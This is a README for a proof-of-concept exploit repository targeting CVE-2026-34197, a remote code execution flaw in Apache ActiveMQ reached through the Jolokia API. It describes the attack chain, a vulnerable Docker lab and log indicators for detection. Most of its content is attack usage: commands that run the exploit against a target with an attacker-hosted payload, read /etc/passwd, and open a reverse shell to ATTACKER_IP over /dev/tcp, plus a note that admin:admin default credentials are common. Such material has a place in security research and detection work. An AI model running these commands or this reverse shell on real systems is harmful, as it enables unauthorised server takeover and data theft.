devsecurityspro/cve-2026-34197Proof-of-concept exploit for CVE-2026-34197, an RCE in Apache ActiveMQ via the Jolokia API. Includes a Python exploit, payload template, and Docker lab for testing and research.
CVE-2026-34197 is a remote code execution (RCE) vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary commands on the server's operating system through the Jolokia API exposed on the web console.
The vulnerability has existed for more than 13 years and resides in the interaction between multiple components: Jolokia (HTTP-JMX bridge), ActiveMQ MBeans, network connectors, and the VM transport.
| Field | Detail |
|---|
| CVE ID | CVE-2026-34197 |
| Type | RCE (Remote Code Execution) |
| CWE | CWE-20 (Improper Input Validation), CWE-94 (Code Injection) |
| Affected versions | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| Patched versions | 5.19.4, 6.2.3 |
| Authentication required | Yes (default credentials admin:admin common) |
| No authentication on | 6.0.0 — 6.1.1 (due to CVE-2024-32114) |
| Default port | 8161 (web console) |
The attack chain works as follows:
/api/jolokia/ invoking the addNetworkConnector operation of the broker's MBean.vm:// transport referencing a non-existent broker.brokerConfig parameter pointing to a remote URL.xbean: scheme indicates that the resource is a Spring XML configuration file.Runtime.getRuntime().exec().Attacker ActiveMQ (victim)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATTACKER/x.xml) |
| |
| |-- Creates VM broker
| |-- Downloads x.xml
|<-- GET /x.xml --------------------|
|-- Responds with XML payload ----->|
| |-- Spring instantiates beans
| |-- Runtime.exec(COMMAND)
| |
CVE-2026-34197/
├── README.md # This file
├── exploit.py # Main PoC
├── payloads/
│ └── template.xml # Spring XML payload template
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
This starts a vulnerable ActiveMQ Classic 5.18.6 on localhost:8161.
# Basic usage with default credentials
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
# Specify credentials
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p admin
# Specify the payload HTTP server port
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
# No-authentication mode (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
# Reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
| Parameter | Description |
|---|---|
-t, --target | Target base URL (e.g., http://10.0.0.1:8161) |
-l, --lhost | Attacker IP to serve the XML payload |
-lp, --lport | Local HTTP server port (default: 8888) |
-c, --command | Command to execute on the target |
-u, --user | Username (default: admin) |
-p, --password | Password (default: admin) |
--no-auth | Do not send credentials (for versions 6.0.0 - 6.1.1) |
--broker-name | Broker name (default: localhost) |
Indicators in the ActiveMQ broker logs:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Other indicators:
/api/jolokia/ with addNetworkConnector in the bodyvm:// URIs with brokerConfig=xbean:httpCreated by KONDOR DEV SECURITY
This PoC is provided exclusively for educational and security research purposes. Using this tool against systems without explicit authorization is illegal. The author is not responsible for any misuse of this tool.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY
